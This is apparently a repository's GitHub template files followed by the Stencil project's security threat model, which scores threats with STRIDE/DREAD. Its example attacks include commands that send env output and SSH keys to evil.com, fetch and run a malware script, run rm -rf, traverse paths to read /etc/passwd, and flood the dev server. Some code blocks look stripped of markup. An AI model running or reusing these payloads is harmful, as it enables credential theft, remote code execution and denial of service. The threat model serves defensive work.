https://github.com/ionic-team/create-stencil/issues/new/choose about: This issue tracker is not for Create Stencil CLI issues. Please file CLI issues on the Create Stencil CLI repo. - name: 🤔 Support Question url: https://forum.ionicframework.com/ about: This issue tracker is not for support questions. Please post your question on the Ionic Forums. ================================================ FILE: .github/ISSUE_TEMPLATE/feature_request.yml ================================================ name: 💡 Feature Request description: Suggest an idea for Stencil title: 'feat: ' body: - type: checkboxes attributes: label: Prerequisites description: Please ensure you have completed all of the following. options: - label: I have read the [Contributing Guidelines](https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md). required: true - label: I agree to follow the [Code of Conduct](https://github.com/stenciljs/core/blob/main/CODE_OF_CONDUCT.md). required: true - label: I have searched for [existing issues](https://github.com/stenciljs/core/issues) that already include this feature request, without success. required: true - type: textarea attributes: label: Describe the Feature Request description: A clear and concise description of what the feature does. validations: required: true - type: textarea attributes: label: Describe the Use Case description: A clear and concise use case for what problem this feature would solve. validations: required: true - type: textarea attributes: label: Describe Preferred Solution description: A clear and concise description of how you want this feature to be added to Stencil. - type: textarea attributes: label: Describe Alternatives description: A clear and concise description of any alternative solutions or features you have considered. - type: textarea attributes: label: Related Code description: If you are able to illustrate the feature request with an example, please provide a sample Stencil component(s). Run `npm init stencil` to quickly spin up a Stencil project. - type: textarea attributes: label: Additional Information description: List any other information that is relevant to your issue. Stack traces, related issues, suggestions on how to implement, Stack Overflow links, forum links, etc. ================================================ FILE: .github/ISSUE_TEMPLATE.md ================================================ **Stencil version:** ``` @stencil/core@ ``` **Current behavior:** **Expected behavior:** **GitHub Reproduction Link:** **Other information:** ================================================ FILE: .github/PULL_REQUEST_TEMPLATE.md ================================================ ## What is the current behavior? GitHub Issue Number: N/A ## What is the new behavior? ## Documentation ## Does this introduce a breaking change? - [ ] Yes - [ ] No ## Testing ## Other information ================================================ FILE: .github/SECURITY.md ================================================ # Stencil Security Policy This document outlines the security policy and threat model for the Stencil project. ## Reporting a Vulnerability The Stencil team and community take all security vulnerabilities seriously. If you believe you have found a security vulnerability in Stencil, please report it to us as described below. **DO NOT report security vulnerabilities through public GitHub issues.** Please email us at [product.security@outsystems.com](mailto:product.security@outsystems.com) with a description of the vulnerability and steps to reproduce it. You should receive a response within 48 hours. If for some reason you do not, please follow up via the same email to ensure we received your original message. ## Threat Model This threat model is intended to provide a security overview of the Stencil project. It is broken down into the following sections: 1. Feature Breakdown 2. Threat Identification 3. Threat Prioritization 4. Threat Mitigation ### 1. Feature Breakdown Stencil is a compiler that generates Web Components and builds high-performance web applications. Its architecture can be broken down into the following core components: * **Stencil Compiler**: A toolchain that runs in a Node.js environment (typically on a developer machine or a CI/CD server). It transpiles TypeScript/JSX, optimizes components, and bundles them for production. It reads a `stencil.config.ts` file for configuration and has access to the file system. * **Dev Server**: A local web server for development. It serves the application, provides hot-module-reloading (HMR), and communicates with the client-side runtime over a WebSocket connection. * **Client-side Runtime**: A small piece of JavaScript code that is shipped with every Stencil application. It runs in the end-user's browser and manages component lifecycle, rendering, and event handling. * **Server-Side Rendering (Hydrate)**: A system that runs on a Node.js server to pre-render Stencil components into static HTML. This is often used for performance and SEO purposes. * **Command Line Interface (CLI)**: The primary tool for developers to interact with Stencil, used for creating projects, building them, running tests, and more. ### 2. Threat Identification We use the STRIDE model to identify potential security threats for each component, with DREAD scoring for risk assessment. #### Compiler **Threat #1: Arbitrary code execution via malicious configuration or plugins** - **Category**: Elevation of Privilege - **Description**: Arbitrary code execution through malicious `stencil.config.ts` files, plugins, or compromised dependencies. Since Stencil configuration files are executed as TypeScript/JavaScript during the build process, they have full access to the Node.js environment and can perform any operation the build user can perform. This includes file system access, network requests, spawning processes, and accessing environment variables. **Attack Scenarios:** 1. **Malicious configuration**: Developer downloads a project template with a compromised `stencil.config.ts` 2. **Supply chain attack**: A legitimate plugin is compromised and pushes malicious code 3. **Dependency confusion**: Attacker publishes a malicious package with a similar name to a legitimate plugin 4. **Social engineering**: Attacker convinces developer to install a "helpful" plugin that contains malicious code **Example Vulnerable Configuration:** ```typescript // stencil.config.ts - MALICIOUS export const config: Config = { outputTargets: [{ type: 'www', serviceWorker: null }], // Malicious code disguised as configuration plugins: [ { name: 'innocent-looking-plugin', configResolved() { // Exfiltrate environment variables require('child_process').exec('curl -X POST https://evil.com/steal -d "$(env)"'); // Install backdoor require('fs').writeFileSync('/tmp/backdoor.sh', '#!/bin/bash\n# backdoor code'); } } ] }; ``` **Real-world Impact:** - **2020**: SolarWinds supply chain attack affected 18,000+ organizations - **2021**: UA-Parser-JS npm package was compromised, affecting millions of downloads - Build-time code execution can lead to complete compromise of CI/CD pipelines and deployment infrastructure | Score | Rationale | |-------|-----------| | **Damage** | 10 | Complete compromise of developer machine, potential supply chain attack affecting all users of the compiled application | | **Reproducibility** | 10 | Easy to reproduce by creating malicious config or plugin | | **Exploitability** | 5 | Requires social engineering to get developer to use malicious config/plugin | | **Affected Users** | 10 | All users of applications built with compromised toolchain | | **Discoverability** | 8 | Configuration files are easily inspectable | **DREAD Score: 43/50 - CRITICAL** **Threat #2: Information disclosure of environment variables** - **Category**: Information Disclosure - **Description**: Leaking environment variables or build-time secrets into the bundle. This occurs when developers inadvertently expose sensitive data such as API keys, database credentials, authentication tokens, or internal service URLs by including them in environment variables that get bundled into the client-side JavaScript. Unlike server-side code, client-side bundles are publicly accessible and can be inspected by anyone, making any embedded secrets immediately visible to attackers. **Attack Scenarios:** 1. **Direct environment variable exposure**: Developer accidentally references `process.env.DATABASE_PASSWORD` in component code 2. **Configuration file leakage**: Sensitive values from `stencil.config.ts` being included in the bundle 3. **Build script injection**: CI/CD environment variables containing secrets being inadvertently bundled 4. **Third-party plugin exposure**: Malicious or poorly configured plugins accessing and bundling environment variables **Example Vulnerable Code:** ```typescript // In a Stencil component - VULNERABLE @Component({ tag: 'api-client' }) export class ApiClient { private apiKey = process.env.API_SECRET_KEY; // This gets bundled! private dbUrl = process.env.DATABASE_URL; // This too! async fetchData() { return fetch(`https://api.example.com/data?key=${this.apiKey}`); } } ``` **Example Attack:** An attacker can simply: 1. Visit the application in a browser 2. Open developer tools and inspect the JavaScript bundle 3. Search for common patterns like "process.env", "API_KEY", "SECRET", etc. 4. Extract the exposed credentials and use them to access backend services **Real-world Impact:** - **2019**: GitHub reported that over 100,000 repositories contained exposed API keys - **2021**: A major e-commerce platform was breached after AWS credentials were found in their client-side bundles - Exposed database credentials can lead to complete data breaches affecting millions of users | Score | Rationale | |-------|-----------| | **Damage** | 8 | Sensitive data like API keys could be exposed in client-side bundles | | **Reproducibility** | 10 | Easy to reproduce by misconfiguring environment variable exposure | | **Exploitability** | 10 | No special tools required, just inspect the bundle | | **Affected Users** | 10 | All end users of the application can access leaked secrets | | **Discoverability** | 10 | Bundle contents are publicly accessible | **DREAD Score: 48/50 - CRITICAL** **Threat #3: Denial of service via malformed input** - **Category**: Denial of Service - **Description**: Malformed input files causing the Stencil compiler to crash, hang, or consume excessive resources during the build process. This can occur through crafted TypeScript/JSX files, CSS files, or assets that exploit parsing vulnerabilities or trigger resource-intensive operations. **Attack Scenarios:** 1. **Deeply nested JSX**: Extremely nested component structures causing stack overflow 2. **Circular dependencies**: Components with circular imports causing infinite loops 3. **Large file attacks**: Massive files designed to exhaust memory or disk space 4. **Malformed syntax**: Invalid TypeScript/JSX that crashes the parser **Example Vulnerable Input:** ```typescript // Deeply nested JSX causing stack overflow const DeepComponent = () => (
{/* ... thousands of nested divs ... */}
Content
{/* ... thousands of nested divs ... */}
); // Circular dependency causing infinite loop // file1.tsx import { Component2 } from './file2'; export const Component1 = () => ; // file2.tsx import { Component1 } from './file1'; export const Component2 = () => ; ``` **Impact:** - Development workflow disruption - CI/CD pipeline failures - Resource exhaustion on build servers | Score | Rationale | |-------|-----------| | **Damage** | 5 | Build process fails, development workflow disrupted | | **Reproducibility** | 8 | Can be reproduced with specific malformed input | | **Exploitability** | 5 | Requires crafting specific malformed input | | **Affected Users** | 2.5 | Only affects individual developer | | **Discoverability** | 8 | Error conditions are often visible in build logs | **DREAD Score: 28.5/50 - HIGH** #### Dev Server **Threat #4: Directory traversal attack** - **Category**: Information Disclosure - **Description**: Directory traversal attacks that exploit insufficient path validation in the dev server to access files outside the project root directory. Attackers can use path traversal sequences (../) to navigate up the directory tree and access sensitive files on the developer's machine, including system configuration files, SSH keys, environment files, and other projects. **Attack Scenarios:** 1. **System file access**: Reading `/etc/passwd`, `/etc/shadow`, or Windows system files 2. **SSH key theft**: Accessing `~/.ssh/id_rsa` or other private keys 3. **Environment file exposure**: Reading `.env` files from other projects 4. **Source code theft**: Accessing source code from other projects on the same machine **Example Attack:** ```bash # Attacker crafts malicious URLs to access sensitive files curl "http://localhost:3333/../../etc/passwd" curl "http://localhost:3333/../../../home/user/.ssh/id_rsa" curl "http://localhost:3333/../../../../var/log/auth.log" # Or via browser http://localhost:3333/../../etc/hosts http://localhost:3333/../../../Users/developer/.aws/credentials ``` **Vulnerable Code Pattern:** ```typescript // Simplified example of vulnerable path handling function serveFile(url: string) { const filePath = path.join(rootDir, url); // VULNERABLE - no validation return fs.readFileSync(filePath); } ``` **Real-world Impact:** - **2018**: Numerous Node.js development servers found vulnerable to directory traversal - Can lead to complete compromise of developer machines and access to multiple projects - Particularly dangerous in shared development environments | Score | Rationale | |-------|-----------| | **Damage** | 10 | Can read arbitrary files on developer's machine including sensitive data | | **Reproducibility** | 10 | Easy to reproduce with crafted URLs | | **Exploitability** | 10 | Simple HTTP requests, no special tools needed | | **Affected Users** | 2.5 | Individual developer affected | | **Discoverability** | 10 | Dev server endpoints are easily discoverable | **DREAD Score: 42.5/50 - CRITICAL** **Threat #5: Malicious WebSocket connection** - **Category**: Spoofing - **Description**: Malicious websites connecting to the Stencil dev server's WebSocket endpoint used for Hot Module Reloading (HMR) to inject malicious code or extract development information. The dev server typically accepts WebSocket connections without proper origin validation, allowing any website the developer visits to potentially connect and manipulate the development environment. **Attack Scenarios:** 1. **Code injection via HMR**: Malicious site sends fake HMR updates containing malicious JavaScript 2. **Development environment reconnaissance**: Extracting project structure, file paths, and source code 3. **Cross-origin data theft**: Accessing development data through WebSocket messages 4. **Development workflow manipulation**: Interfering with legitimate HMR updates **Example Attack:** ```html ``` **Impact:** - Compromise of development environment - Theft of proprietary source code - Injection of malicious code into development builds | Score | Rationale | |-------|-----------| | **Damage** | 8 | Could inject malicious code via HMR, compromise development environment | | **Reproducibility** | 7.5 | Requires developer to visit malicious site while dev server is running | | **Exploitability** | 5 | Requires creating malicious website and social engineering | | **Affected Users** | 2.5 | Individual developer affected | | **Discoverability** | 9 | WebSocket endpoints are predictable | **DREAD Score: 32/50 - HIGH** **Threat #6: Resource exhaustion** - **Category**: Denial of Service - **Description**: Resource exhaustion attacks targeting the Stencil dev server through excessive HTTP requests, WebSocket connections, or resource-intensive operations. Since dev servers typically lack production-grade rate limiting and resource management, they can be easily overwhelmed by automated attacks or even accidental excessive requests. **Attack Scenarios:** 1. **HTTP flood**: Overwhelming the server with rapid HTTP requests 2. **WebSocket exhaustion**: Opening numerous WebSocket connections to exhaust memory 3. **Large file requests**: Requesting large assets repeatedly to exhaust bandwidth/memory 4. **Concurrent build triggers**: Triggering multiple simultaneous rebuilds **Example Attack:** ```bash # Simple HTTP flood attack for i in {1..10000}; do curl "http://localhost:3333/" & done # WebSocket connection exhaustion node -e " for(let i=0; i<1000; i++) { new require('ws')('ws://localhost:3333'); } " # Large file request loop while true; do curl "http://localhost:3333/large-video-file.mp4" & done ``` **Automated Attack Script:** ```python import asyncio import aiohttp async def flood_attack(): connector = aiohttp.TCPConnector(limit=1000) async with aiohttp.ClientSession(connector=connector) as session: tasks = [] for i in range(10000): task = session.get('http://localhost:3333/') tasks.append(task) await asyncio.gather(*tasks, return_exceptions=True) asyncio.run(flood_attack()) ``` **Impact:** - Dev server becomes unresponsive - Development workflow completely disrupted - Can affect entire local network if server binds to 0.0.0.0 | Score | Rationale | |-------|-----------| | **Damage** | 5 | Dev server becomes unresponsive, development workflow disrupted | | **Reproducibility** | 10 | Easy to reproduce with automated requests | | **Exploitability** | 10 | Simple HTTP flood attack | | **Affected Users** | 2.5 | Individual developer affected | | **Discoverability** | 10 | Dev server is easily discoverable on local network | **DREAD Score: 37.5/50 - HIGH** #### Client-side Runtime **Threat #7: Cross-Site Scripting (XSS)** - **Category**: Tampering - **Description**: Cross-Site Scripting attacks that exploit insufficient input sanitization in Stencil components to inject and execute malicious JavaScript in users' browsers. While Stencil provides some built-in XSS protection through JSX's automatic escaping, developers can still introduce vulnerabilities through unsafe practices like using `innerHTML` with untrusted data or improper handling of user inputs. **Attack Scenarios:** 1. **Stored XSS**: Malicious scripts stored in database and rendered by components 2. **Reflected XSS**: Malicious scripts in URL parameters reflected in component output 3. **DOM-based XSS**: Client-side JavaScript manipulation of DOM with untrusted data 4. **Component prop injection**: Malicious data passed through component properties **Example Vulnerable Code:** ```typescript @Component({ tag: 'user-profile' }) export class UserProfile { @Prop() userBio: string; @Prop() userName: string; render() { return (
{/* VULNERABLE - innerHTML with untrusted data */}
{/* VULNERABLE - URL parameter directly rendered */}

Welcome {new URLSearchParams(location.search).get('name')}

{/* VULNERABLE - Dynamic script execution */}
); } } ``` **Example Attack Payloads:** ```html https://app.com/profile?name= ``` **Attack Impact:** - Session hijacking through cookie theft - Account takeover via stolen authentication tokens - Defacement of web applications - Phishing attacks through injected content - Cryptocurrency mining scripts | Score | Rationale | |-------|-----------| | **Damage** | 10 | Full compromise of user session, data theft, account takeover | | **Reproducibility** | 8 | Depends on application's input validation | | **Exploitability** | 9 | Well-known attack vectors, many tools available | | **Affected Users** | 10 | All end users of the application | | **Discoverability** | 9 | Input fields and dynamic content are easily identifiable | **DREAD Score: 46/50 - CRITICAL** **Threat #8: Information disclosure via component state** - **Category**: Information Disclosure - **Description**: Sensitive information being exposed through component props, state, or internal data structures that can be accessed via browser developer tools or client-side inspection. Stencil components run in the browser where all JavaScript is accessible to users, making any sensitive data stored in component memory visible to attackers. **Attack Scenarios:** 1. **Developer tools inspection**: Using browser dev tools to examine component state 2. **Component debugging**: Accessing component instances through global variables 3. **Memory dump analysis**: Using browser memory profiling to extract sensitive data 4. **Event listener exploitation**: Triggering debug events that expose internal state **Example Vulnerable Code:** ```typescript @Component({ tag: 'payment-form' }) export class PaymentForm { @State() creditCardNumber: string; @State() cvv: string; @State() apiKey: string = 'sk_live_abc123'; // VULNERABLE - API key in state @State() internalUserData = { ssn: '123-45-6789', // VULNERABLE - SSN in state salary: 75000, // VULNERABLE - sensitive PII role: 'admin' // VULNERABLE - privilege info }; // VULNERABLE - Debug method exposing sensitive data @Method() async debugInfo() { return { creditCard: this.creditCardNumber, cvv: this.cvv, apiKey: this.apiKey, userData: this.internalUserData }; } render() { return (
this.creditCardNumber = e.target.value} /> {/* VULNERABLE - Sensitive data in DOM attributes */}
Payment processing...
); } } ``` **Example Attack:** ```javascript // In browser console - accessing component state const paymentComponent = document.querySelector('payment-form'); // Direct state access (if exposed) console.log(paymentComponent.creditCardNumber); console.log(paymentComponent.apiKey); // Method invocation paymentComponent.debugInfo().then(data => { console.log('Stolen data:', data); // Send to attacker's server fetch('https://evil.com/steal', { method: 'POST', body: JSON.stringify(data) }); }); // Component inspection via dev tools console.log('%c Component State Inspector', 'color: red; font-size: 20px'); Object.getOwnPropertyNames(paymentComponent).forEach(prop => { console.log(prop, ':', paymentComponent[prop]); }); ``` **Real-world Impact:** - Credit card and payment information theft - Personal Identifiable Information (PII) exposure - API key and authentication token theft - Business logic and internal data structure exposure | Score | Rationale | |-------|-----------| | **Damage** | 8 | Sensitive user data or application secrets could be exposed | | **Reproducibility** | 5 | Depends on specific component implementation | | **Exploitability** | 9 | Browser dev tools make component inspection easy | | **Affected Users** | 6 | Users of specific components | | **Discoverability** | 10 | Component state is visible in browser dev tools | **DREAD Score: 38/50 - HIGH** **Threat #9: Client-side denial of service** - **Category**: Denial of Service - **Description**: Malicious or poorly written component code that causes excessive CPU usage, memory consumption, or infinite loops, leading to browser freezing or crashes. This can be triggered through crafted user inputs, malicious component properties, or exploitation of inefficient algorithms in component logic. **Attack Scenarios:** 1. **Infinite render loops**: Components that trigger continuous re-renders 2. **Memory exhaustion**: Creating excessive DOM elements or objects 3. **CPU-intensive operations**: Computationally expensive operations in render methods 4. **Recursive component calls**: Components that call themselves infinitely **Example Vulnerable Code:** ```typescript @Component({ tag: 'vulnerable-list' }) export class VulnerableList { @Prop() items: string[] = []; @State() processedItems: any[] = []; componentWillLoad() { // VULNERABLE - Infinite loop with malicious input this.processItems(); } processItems() { // VULNERABLE - No bounds checking while (this.items.length > 0) { // Process logic that never reduces items.length this.processedItems.push(this.items[0]); // Missing: this.items.shift(); } } render() { return (
{/* VULNERABLE - Rendering potentially massive arrays */} {this.items.map((item, index) => // VULNERABLE - Recursive component rendering )} {/* VULNERABLE - Memory exhaustion through massive DOM */} {Array(1000000).fill(0).map((_, i) =>
Heavy DOM element {i}
)}
); } @Listen('click') handleClick() { // VULNERABLE - CPU-intensive operation on every click for (let i = 0; i < 10000000; i++) { Math.sqrt(Math.random() * 1000000); } } } ``` **Example Attack:** ```html ``` **Attack Vectors:** - Malicious URL parameters that trigger vulnerable component logic - Form inputs designed to cause infinite processing - WebSocket messages containing DoS payloads - Social engineering to get users to visit malicious pages **Impact:** - Browser becomes unresponsive or crashes - Complete denial of service for legitimate users - Mobile devices may experience battery drain or overheating - Can affect entire browser session, not just the single tab | Score | Rationale | |-------|-----------| | **Damage** | 5 | Browser becomes unresponsive, poor user experience | | **Reproducibility** | 8 | Reproducible with specific component interactions | | **Exploitability** | 5 | Requires understanding of component behavior | | **Affected Users** | 10 | All users of the application | | **Discoverability** | 8 | Performance issues are noticeable during testing | **DREAD Score: 36/50 - HIGH** #### Server-Side Rendering **Threat #10: XSS in SSR output** - **Category**: Tampering - **Description**: Cross-Site Scripting vulnerabilities in Server-Side Rendered (SSR) HTML output where malicious scripts are injected during the pre-rendering process and served to all users. This is particularly dangerous because the malicious content is generated on the trusted server and served as static HTML, making it appear legitimate and bypassing some client-side XSS protections. **Attack Scenarios:** 1. **Database poisoning**: Malicious scripts stored in backend database and rendered during SSR 2. **API data injection**: External APIs returning malicious payloads that get SSR rendered 3. **Template injection**: Exploiting server-side template processing to inject scripts 4. **Build-time injection**: Malicious content introduced during the SSR build process **Example Vulnerable SSR Code:** ```typescript // Server-side rendering component @Component({ tag: 'blog-post' }) export class BlogPost { @Prop() title: string; @Prop() content: string; @Prop() authorBio: string; render() { return (
{/* VULNERABLE - Title from database not sanitized */}

{/* VULNERABLE - User-generated content in SSR */}
{/* VULNERABLE - Author bio with HTML injection */}
{/* VULNERABLE - Direct template injection */}
); } } // SSR rendering process export async function renderBlogPost(postId: string) { // VULNERABLE - No sanitization of database content const post = await database.getPost(postId); return renderToString( ); } ``` **Example Attack Payloads:** ```html "; fetch('https://evil.com/steal?data=' + btoa(JSON.stringify(window.localStorage))); // ``` **SSR-Specific Attack Characteristics:** - **Persistent**: Affects all users visiting the pre-rendered page - **Trusted context**: Appears as legitimate server-generated content - **Cache amplification**: Malicious content gets cached by CDNs and browsers - **SEO poisoning**: Search engines may index malicious content **Real-world Impact:** - **2019**: Major e-commerce platform had XSS in SSR product pages affecting thousands of customers - **2020**: News website's SSR commenting system was exploited to inject cryptocurrency miners - Can lead to mass account compromise and large-scale data theft | Score | Rationale | |-------|-----------| | **Damage** | 10 | XSS in SSR affects all users receiving the pre-rendered content | | **Reproducibility** | 8 | Depends on server-side input validation | | **Exploitability** | 9 | Similar to client-side XSS but potentially more impactful | | **Affected Users** | 10 | All users receiving SSR content | | **Discoverability** | 9 | SSR output can be inspected in page source | **DREAD Score: 46/50 - CRITICAL** **Threat #11: Server-side information disclosure** - **Category**: Information Disclosure - **Description**: Sensitive server-side information being exposed in the SSR output, including database connection strings, API keys, internal error messages, file paths, environment variables, and other confidential data that should remain server-side only. This occurs when server-side rendering processes fail to properly sanitize or filter data before including it in the HTML response. **Attack Scenarios:** 1. **Error message leakage**: Detailed error messages containing system information 2. **Environment variable exposure**: Server environment data included in rendered output 3. **Database information disclosure**: Connection strings or query details in output 4. **Internal API exposure**: Internal service URLs and endpoints revealed 5. **Source code leakage**: Server-side code or comments included in HTML **Example Vulnerable SSR Code:** ```typescript // Server-side component with information disclosure @Component({ tag: 'dashboard' }) export class Dashboard { @Prop() userData: any; @State() debugInfo: any; async componentWillLoad() { try { // VULNERABLE - Including sensitive server data this.debugInfo = { dbConnection: process.env.DATABASE_URL, // LEAKED apiKeys: process.env.STRIPE_SECRET_KEY, // LEAKED internalServices: process.env.INTERNAL_API_URLS, // LEAKED serverPath: __dirname, // LEAKED nodeVersion: process.version // LEAKED }; this.userData = await this.fetchUserData(); } catch (error) { // VULNERABLE - Detailed error in production this.debugInfo.error = { stack: error.stack, // LEAKED - shows file paths query: error.query, // LEAKED - database queries connectionString: error.connectionString // LEAKED }; } } private async fetchUserData() { // Simulate database error throw new Error(`Database connection failed: ${process.env.DB_HOST}:${process.env.DB_PORT}`); } render() { return (

User Dashboard

{/* VULNERABLE - Debug info in production */} {process.env.NODE_ENV !== 'production' && (
{JSON.stringify(this.debugInfo, null, 2)}
)} {/* VULNERABLE - Server data in HTML comments */} {/* VULNERABLE - Error details exposed */} {this.debugInfo?.error && (

Error Details:

{this.debugInfo.error.stack}

Query: {this.debugInfo.error.query}

)}
); } } ``` **Example of Leaked Information in HTML:** ```html

User Dashboard

Error Details:

Error: Database connection failed: internal-db.company.com:5432
    at /opt/app/server/components/dashboard.js:45:12
    at processTicksAndRejections (internal/process/task_queues.js:93:5)

Query: SELECT * FROM users WHERE api_key = 'sk_live_abc123def456ghi789'

``` **Attack Exploitation:** ```bash # Attacker views page source to extract sensitive data curl -s https://app.com/dashboard | grep -E "(password|key|secret|database|internal)" # Automated scanning for information disclosure grep -r "process.env\|__dirname\|DATABASE_URL" view-source:https://app.com/ ``` **Real-world Impact:** - **2018**: Major SaaS provider exposed database credentials in SSR error pages - **2020**: E-commerce site leaked internal API endpoints enabling further attacks - Exposed API keys can lead to financial fraud and service abuse - Database credentials enable complete data breaches | Score | Rationale | |-------|-----------| | **Damage** | 9 | Server-side secrets, database connection strings, or internal errors exposed | | **Reproducibility** | 5 | Depends on error handling implementation | | **Exploitability** | 8 | Can trigger errors through various inputs | | **Affected Users** | 10 | All users can see the leaked information | | **Discoverability** | 8 | Error messages and debug info often visible in HTML source | **DREAD Score: 40/50 - CRITICAL** **Threat #12: Server-side denial of service** - **Category**: Denial of Service - **Description**: Malicious input or requests causing resource exhaustion during server-side rendering, leading to server downtime and service unavailability. This can occur through computationally expensive rendering operations, memory exhaustion, infinite loops, or overwhelming the server with resource-intensive SSR requests. **Attack Scenarios:** 1. **Computational exhaustion**: Requests that trigger CPU-intensive rendering operations 2. **Memory exhaustion**: Rendering operations that consume excessive memory 3. **Infinite loops**: Malicious data causing endless processing cycles 4. **Concurrent request flooding**: Multiple simultaneous resource-intensive SSR requests **Example Vulnerable SSR Code:** ```typescript @Component({ tag: 'data-visualizer' }) export class DataVisualizer { @Prop() dataset: any[]; @Prop() iterations: number; async componentWillLoad() { // VULNERABLE - No input validation await this.processLargeDataset(); } private async processLargeDataset() { // VULNERABLE - No bounds checking for (let i = 0; i < this.iterations; i++) { // VULNERABLE - Potentially infinite loop this.dataset.forEach(item => { // CPU-intensive operation this.heavyComputation(item); }); } } private heavyComputation(data: any) { // VULNERABLE - No timeout or limits const results = []; for (let i = 0; i < data.size; i++) { results.push(this.expensiveOperation(data)); } return results; } render() { return (
{/* VULNERABLE - Rendering massive arrays */} {this.dataset.map((item, index) => (
{/* VULNERABLE - Nested expensive rendering */} {Array(item.multiplier).fill(0).map((_, i) => ( ))}
))}
); } } ``` **Example Attack Requests:** ```http POST /api/render HTTP/1.1 Content-Type: application/json { "component": "data-visualizer", "props": { "dataset": [ {"size": 1000000, "multiplier": 1000}, {"size": 1000000, "multiplier": 1000}, {"size": 1000000, "multiplier": 1000} ], "iterations": 999999999 } } ``` **Automated DoS Attack:** ```bash # Flood server with resource-intensive requests for i in {1..100}; do curl -X POST https://app.com/api/render \ -H "Content-Type: application/json" \ -d '{ "component": "data-visualizer", "props": { "dataset": [{"size": 10000000, "multiplier": 1000}], "iterations": 100000 } }' & done ``` **Impact:** - Server becomes unresponsive or crashes - Service unavailability for all users - Potential infrastructure costs from resource consumption - Can affect entire application, not just SSR functionality | Score | Rationale | |-------|-----------| | **Damage** | 8 | Server becomes unresponsive, affects all users | | **Reproducibility** | 7.5 | Requires crafting specific resource-intensive inputs | | **Exploitability** | 5 | Requires understanding of SSR resource consumption | | **Affected Users** | 10 | All users of the SSR application | | **Discoverability** | 8 | Resource usage patterns can be observed | **DREAD Score: 38.5/50 - HIGH** #### CLI **Threat #13: Argument injection** - **Category**: Tampering - **Description**: Malicious injection of command-line arguments into the Stencil CLI to execute unintended operations, access unauthorized files, or manipulate the build process. This can occur when user input is improperly sanitized before being passed to CLI commands, or when build scripts dynamically construct CLI arguments from untrusted sources. **Attack Scenarios:** 1. **Build script injection**: Malicious arguments injected through build configurations 2. **CI/CD pipeline exploitation**: Compromised environment variables affecting CLI arguments 3. **Plugin argument manipulation**: Third-party plugins passing malicious arguments 4. **Dynamic argument construction**: Unsafe construction of CLI commands from user input **Example Vulnerable Code:** ```javascript // Vulnerable build script const stencilConfig = JSON.parse(process.env.STENCIL_CONFIG || '{}'); // VULNERABLE - No argument sanitization const command = `stencil build --config ${stencilConfig.configPath} --output ${stencilConfig.outputDir}`; // VULNERABLE - Direct argument injection exec(command, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error}`); return; } console.log(stdout); }); // VULNERABLE - User-controlled file paths function buildWithCustomConfig(userProvidedConfig) { const args = [ 'build', '--config', userProvidedConfig, // VULNERABLE - No validation '--serve', '--watch' ]; spawn('stencil', args); } ``` **Example Attack Payloads:** ```bash # Environment variable injection STENCIL_CONFIG='{"configPath": "config.ts; cat /etc/passwd #", "outputDir": "dist"}' # Argument injection via config path userProvidedConfig = "config.ts --serve --watch --host 0.0.0.0 --port 8080; rm -rf /important-files; #" # Command injection through build arguments stencil build --config "config.ts; curl -X POST https://evil.com/steal -d @.env; #" # File path manipulation stencil build --config ../../sensitive-config.ts --output /tmp/stolen-build # Plugin argument injection stencil build --config config.ts --plugin "evil-plugin; wget https://evil.com/malware.sh && chmod +x malware.sh && ./malware.sh" ``` **Real Attack Example:** ```javascript // Malicious CI/CD configuration { "scripts": { "build": "stencil build --config config.ts", "deploy": "stencil build --config $BUILD_CONFIG --output $OUTPUT_DIR" } } // Attacker sets environment variables: // BUILD_CONFIG="config.ts; export AWS_ACCESS_KEY_ID=stolen; export AWS_SECRET_ACCESS_KEY=stolen; aws s3 cp . s3://evil-bucket --recursive; #" // OUTPUT_DIR="dist; cat ~/.ssh/id_rsa | curl -X POST https://evil.com/steal -d @-; #" ``` **Impact:** - Arbitrary command execution on build servers - Theft of sensitive files and credentials - Unauthorized access to development infrastructure - Supply chain attacks through compromised builds | Score | Rationale | |-------|-----------| | **Damage** | 9 | Could execute arbitrary commands on developer machine | | **Reproducibility** | 5 | Requires specific argument combinations | | **Exploitability** | 2.5 | Requires deep understanding of CLI internals | | **Affected Users** | 2.5 | Individual developer affected | | **Discoverability** | 5 | CLI help and documentation reveal argument structure | **DREAD Score: 24/50 - MEDIUM** **Threat #14: Information disclosure via logging** - **Category**: Information Disclosure - **Description**: Sensitive information being inadvertently logged to console output, log files, or CI/CD build logs where it can be accessed by unauthorized parties. This includes API keys, authentication tokens, database credentials, user data, and internal system information that gets captured in various logging systems. **Attack Scenarios:** 1. **Console logging**: Sensitive data logged to browser console or terminal output 2. **CI/CD log exposure**: Credentials visible in build logs on CI/CD platforms 3. **Debug logging**: Development debug statements left in production code 4. **Error logging**: Detailed error messages containing sensitive information 5. **Third-party logging**: Logging services inadvertently capturing sensitive data **Example Vulnerable Code:** ```typescript @Component({ tag: 'secure-api-client' }) export class SecureApiClient { @Prop() apiKey: string; @State() userData: any; async componentWillLoad() { // VULNERABLE - API key logged to console console.log('Initializing API client with key:', this.apiKey); try { const response = await fetch('https://api.example.com/user', { headers: { 'Authorization': `Bearer ${this.apiKey}`, 'X-User-Token': localStorage.getItem('userToken') } }); this.userData = await response.json(); // VULNERABLE - Sensitive user data logged console.log('User data received:', this.userData); } catch (error) { // VULNERABLE - Error logs may contain sensitive data console.error('API Error:', error); console.error('Request details:', { apiKey: this.apiKey, userToken: localStorage.getItem('userToken'), userData: this.userData }); } } private async debugAPI() { // VULNERABLE - Debug logging with credentials console.group('API Debug Information'); console.log('Environment:', process.env.NODE_ENV); console.log('API Key:', this.apiKey); console.log('Database URL:', process.env.DATABASE_URL); console.log('JWT Secret:', process.env.JWT_SECRET); console.log('User session:', localStorage.getItem('session')); console.groupEnd(); } render() { return (
{/* VULNERABLE - Sensitive data in DOM for debugging */} {process.env.NODE_ENV === 'development' && (
{JSON.stringify({
            apiKey: this.apiKey,
            userData: this.userData,
            env: process.env
          }, null, 2)}
)}
